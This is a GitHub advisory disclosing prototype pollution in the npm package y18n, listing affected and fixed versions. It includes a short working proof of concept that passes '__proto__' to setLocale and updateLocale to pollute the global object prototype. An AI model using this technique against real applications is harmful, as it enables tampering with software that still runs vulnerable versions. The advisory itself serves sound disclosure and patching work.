ADVISORIES

GitHub Advisory Database

GHSA-c4w7-xm78-47vh

Prototype Pollution in y18n

Details

Overview

The npm package y18n before versions 3.2.2, 4.0.1, and 5.0.5 is vulnerable to Prototype Pollution.

POC

const y18n = require('y18n')();

y18n.setLocale('__proto__');
y18n.updateLocale({polluted: true});

console.log(polluted); // true

Recommendation

Upgrade to version 3.2.2, 4.0.1, 5.0.5 or later.

Affected packages

EcosystemPackageAffected versions
npmy18n
All versions before 3.2.2 (fixed in 3.2.2)
npmy18n
From 4.0.0 before 4.0.1 (fixed in 4.0.1)
npmy18n
From 5.0.0 before 5.0.5 (fixed in 5.0.5)

References